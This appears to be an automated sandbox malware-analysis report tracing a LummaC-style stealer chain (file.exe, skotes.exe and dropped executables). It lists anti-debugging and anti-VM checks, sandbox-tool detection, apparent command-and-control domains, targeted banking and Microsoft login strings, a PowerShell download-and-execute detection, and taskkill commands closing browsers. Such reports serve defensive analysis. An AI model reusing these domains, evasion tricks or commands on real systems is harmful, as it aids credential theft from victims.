Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2196	Thread sleep count: 61 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2196	Thread sleep time: -122061s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1180	Thread sleep count: 63 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1180	Thread sleep time: -126063s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5796	Thread sleep count: 246 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5796	Thread sleep time: -7380000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1156	Thread sleep count: 59 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1156	Thread sleep time: -118059s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6836	Thread sleep count: 2663 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6836	Thread sleep time: -5328663s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1168	Thread sleep count: 34 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1168	Thread sleep time: -68034s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1860	Thread sleep time: -540000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2056	Thread sleep count: 2937 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2056	Thread sleep time: -5876937s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6836	Thread sleep count: 205 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6836	Thread sleep time: -410205s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe TID: 3944	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe TID: 640	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe TID: 6520	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1002528001\c74ef7bd5d.exe TID: 6284	Thread sleep time: -48000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\DXA4CU5W4O4UU0FOG0K6C7EYJEL0.exe TID: 1836	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe TID: 8184	Thread sleep time: -30000s >= -30000s

Source: C:\Users\user\Desktop\file.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1002529001\9c8810ba8c.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\OQ8LP4972W0L2P9TRRG7I8.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\APJ029ETDT1OYOUOA0UAFS0WCJF1BV5.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DXA4CU5W4O4UU0FOG0K6C7EYJEL0.exe	Thread delayed: delay time: 922337203685477

Source: skotes.exe, skotes.exe, 00000007.00000002.1681796708.0000000000A51000.00000040.00000001.01000000.0000000B.sdmp, 3cbc500e8f.exe, 0000000D.00000002.2228579617.00000000011BB000.00000040.00000001.01000000.0000000D.sdmp, c74ef7bd5d.exe, 0000000E.00000002.2203413136.0000000000D8D000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: 3cbc500e8f.exe, 0000000F.00000003.2282452773.000000000607C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696492231p
Source: 3cbc500e8f.exe, 0000000F.00000003.2282452773.000000000607C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696492231n
Source: 3cbc500e8f.exe, 0000000F.00000003.2282452773.000000000607C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696492231}
Source: 3cbc500e8f.exe, 0000000F.00000003.2282452773.000000000607C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696492231d
Source: 3cbc500e8f.exe, 0000000F.00000003.2282452773.000000000607C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696492231
Source: 3cbc500e8f.exe, 0000000F.00000003.2282452773.000000000607C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696492231s
Source: c74ef7bd5d.exe, 0000000E.00000002.2202241135.00000000005C7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW@\_%SystemRoot%\system32\mswsock.dll>
Source: 3cbc500e8f.exe, 0000000F.00000003.2282452773.000000000607C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696492231
Source: 3cbc500e8f.exe, 0000000F.00000003.2282452773.000000000607C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696492231
Source: 3cbc500e8f.exe, 0000000F.00000003.2282452773.000000000607C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696492231
Source: 3cbc500e8f.exe, 0000000F.00000003.2282452773.000000000607C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696492231x
Source: 3cbc500e8f.exe, 0000000D.00000002.2230728877.00000000016DB000.00000004.00000020.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000D.00000003.2186572054.00000000016DB000.00000004.00000020.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000D.00000003.2188741137.00000000016DB000.00000004.00000020.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000D.00000003.2176627636.00000000016DB000.00000004.00000020.00020000.00000000.sdmp, c74ef7bd5d.exe, 0000000E.00000002.2202241135.00000000005F3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: firefox.exe, 0000001E.00000002.2387418053.0000018FBB2BA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW : 2 : 34 : 1 : 1 : 0x20026 : 0x8 : %SystemRoot%\system32\mswsock.dll : : 1234191b-4bf7-4ca7-86e0-dfd7c32b5445
Source: 3cbc500e8f.exe, 0000000F.00000003.2282452773.000000000607C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696492231
Source: c74ef7bd5d.exe, 0000000E.00000002.2202241135.00000000005F3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWj
Source: 3cbc500e8f.exe, 0000000F.00000003.2282452773.000000000607C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231^
Source: 3cbc500e8f.exe, 0000000F.00000003.2282452773.000000000607C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696492231
Source: 3cbc500e8f.exe, 0000000F.00000003.2282452773.000000000607C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696492231t
Source: 3cbc500e8f.exe, 0000000F.00000003.2282186054.0000000006089000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696492231p
Source: 3cbc500e8f.exe, 0000000F.00000003.2282452773.000000000607C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696492231z
Source: 3cbc500e8f.exe, 0000000F.00000003.2282452773.000000000607C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696492231f
Source: 3cbc500e8f.exe, 0000000F.00000003.2282452773.000000000607C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696492231
Source: 3cbc500e8f.exe, 0000000F.00000003.2282452773.000000000607C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696492231j
Source: 3cbc500e8f.exe, 0000000F.00000003.2282452773.000000000607C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696492231}
Source: 3cbc500e8f.exe, 0000000F.00000003.2282452773.000000000607C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696492231~
Source: 3cbc500e8f.exe, 0000000F.00000003.2282452773.000000000607C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696492231x
Source: 3cbc500e8f.exe, 0000000F.00000003.2282452773.000000000607C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696492231h
Source: 3cbc500e8f.exe, 0000000F.00000003.2282452773.000000000607C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696492231o
Source: c74ef7bd5d.exe, 0000000E.00000002.2202241135.000000000057E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: 3cbc500e8f.exe, 0000000F.00000003.2282452773.000000000607C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696492231u
Source: 3cbc500e8f.exe, 0000000F.00000003.2282452773.000000000607C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231
Source: 3cbc500e8f.exe, 0000000F.00000003.2282452773.000000000607C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696492231
Source: 3cbc500e8f.exe, 0000000F.00000003.2282452773.000000000607C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696492231
Source: APJ029ETDT1OYOUOA0UAFS0WCJF1BV5.exe, 00000004.00000002.1703392908.0000000001092000.00000040.00000001.01000000.00000006.sdmp, OQ8LP4972W0L2P9TRRG7I8.exe, 00000005.00000002.1620304705.0000000000631000.00000040.00000001.01000000.00000007.sdmp, skotes.exe, 00000006.00000002.1666235403.0000000000A51000.00000040.00000001.01000000.0000000B.sdmp, skotes.exe, 00000007.00000002.1681796708.0000000000A51000.00000040.00000001.01000000.0000000B.sdmp, 3cbc500e8f.exe, 0000000D.00000002.2228579617.00000000011BB000.00000040.00000001.01000000.0000000D.sdmp, c74ef7bd5d.exe, 0000000E.00000002.2203413136.0000000000D8D000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: 3cbc500e8f.exe, 0000000D.00000002.2230728877.000000000165E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW@
Source: 3cbc500e8f.exe, 0000000F.00000003.2282452773.000000000607C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696492231t
Source: 3cbc500e8f.exe, 0000000F.00000003.2282452773.000000000607C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696492231\|UE
Source: 3cbc500e8f.exe, 0000000F.00000003.2282452773.000000000607C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696492231x
Source: 3cbc500e8f.exe, 0000000F.00000003.2282452773.000000000607C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696492231]
Source: c74ef7bd5d.exe, 0000000E.00000002.2202241135.000000000057E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMwaref!

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\APJ029ETDT1OYOUOA0UAFS0WCJF1BV5.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OQ8LP4972W0L2P9TRRG7I8.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002528001\c74ef7bd5d.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1002528001\c74ef7bd5d.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\DXA4CU5W4O4UU0FOG0K6C7EYJEL0.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\529CUIG0QU5WLQ1L1F8J4L.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Thread information set: HideFromDebugger

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\APJ029ETDT1OYOUOA0UAFS0WCJF1BV5.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\APJ029ETDT1OYOUOA0UAFS0WCJF1BV5.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\APJ029ETDT1OYOUOA0UAFS0WCJF1BV5.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OQ8LP4972W0L2P9TRRG7I8.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OQ8LP4972W0L2P9TRRG7I8.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OQ8LP4972W0L2P9TRRG7I8.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002528001\c74ef7bd5d.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1002528001\c74ef7bd5d.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1002528001\c74ef7bd5d.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1002528001\c74ef7bd5d.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1002528001\c74ef7bd5d.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1002528001\c74ef7bd5d.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\DXA4CU5W4O4UU0FOG0K6C7EYJEL0.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\DXA4CU5W4O4UU0FOG0K6C7EYJEL0.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\DXA4CU5W4O4UU0FOG0K6C7EYJEL0.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\529CUIG0QU5WLQ1L1F8J4L.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\529CUIG0QU5WLQ1L1F8J4L.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\529CUIG0QU5WLQ1L1F8J4L.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Process queried: DebugPort

Source: C:\Users\user\AppData\Local\Temp\APJ029ETDT1OYOUOA0UAFS0WCJF1BV5.exe

Code function: 4_2_0108D585 rdtsc

4_2_0108D585

Source: C:\Users\user\AppData\Local\Temp\APJ029ETDT1OYOUOA0UAFS0WCJF1BV5.exe

Code function: 4_2_00EFB974 LdrInitializeThunk,

4_2_00EFB974

Source: C:\Users\user\AppData\Local\Temp\APJ029ETDT1OYOUOA0UAFS0WCJF1BV5.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug

Source: C:\Users\user\AppData\Local\Temp\APJ029ETDT1OYOUOA0UAFS0WCJF1BV5.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: Process Memory Space: c74ef7bd5d.exe PID: 7580, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1002530001\num.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\num[1].exe, type: DROPPED

LummaC encrypted strings found

Source: file.exe, 00000001.00000003.1327768935.0000000004F00000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: scriptyprefej.store
Source: file.exe, 00000001.00000003.1327768935.0000000004F00000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: navygenerayk.store
Source: file.exe, 00000001.00000003.1327768935.0000000004F00000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: founpiuer.store
Source: file.exe, 00000001.00000003.1327768935.0000000004F00000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: necklacedmny.store
Source: file.exe, 00000001.00000003.1327768935.0000000004F00000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: thumbystriw.store
Source: file.exe, 00000001.00000003.1327768935.0000000004F00000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: fadehairucw.store
Source: file.exe, 00000001.00000003.1327768935.0000000004F00000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: crisiwarny.store
Source: file.exe, 00000001.00000003.1327768935.0000000004F00000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: presticitpo.store

Source: C:\Users\user\AppData\Local\Temp\OQ8LP4972W0L2P9TRRG7I8.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe "C:\Users\user~1\AppData\Local\Temp\1002527001\3cbc500e8f.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1002528001\c74ef7bd5d.exe "C:\Users\user~1\AppData\Local\Temp\1002528001\c74ef7bd5d.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1002529001\9c8810ba8c.exe "C:\Users\user~1\AppData\Local\Temp\1002529001\9c8810ba8c.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1002530001\num.exe "C:\Users\user~1\AppData\Local\Temp\1002530001\num.exe"	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1002529001\9c8810ba8c.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002529001\9c8810ba8c.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002529001\9c8810ba8c.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002529001\9c8810ba8c.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002529001\9c8810ba8c.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002529001\9c8810ba8c.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002529001\9c8810ba8c.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002529001\9c8810ba8c.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002529001\9c8810ba8c.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T

Source: 3cbc500e8f.exe, 0000000D.00000002.2229121082.00000000011FB000.00000040.00000001.01000000.0000000D.sdmp	Binary or memory string: iProgram Manager
Source: 9c8810ba8c.exe, 00000010.00000000.2208964282.00000000010C2000.00000002.00000001.01000000.0000000F.sdmp	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: skotes.exe, skotes.exe, 00000007.00000002.1681796708.0000000000A51000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: =Program Manager
Source: APJ029ETDT1OYOUOA0UAFS0WCJF1BV5.exe, APJ029ETDT1OYOUOA0UAFS0WCJF1BV5.exe, 00000004.00000002.1703849418.00000000010E8000.00000040.00000001.01000000.00000006.sdmp	Binary or memory string: "fProgram Manager
Source: c74ef7bd5d.exe, 0000000E.00000002.2203413136.0000000000D8D000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: !Program Manager

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1002528001\c74ef7bd5d.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1002528001\c74ef7bd5d.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1002529001\9c8810ba8c.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1002529001\9c8810ba8c.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1002530001\num.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1002530001\num.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
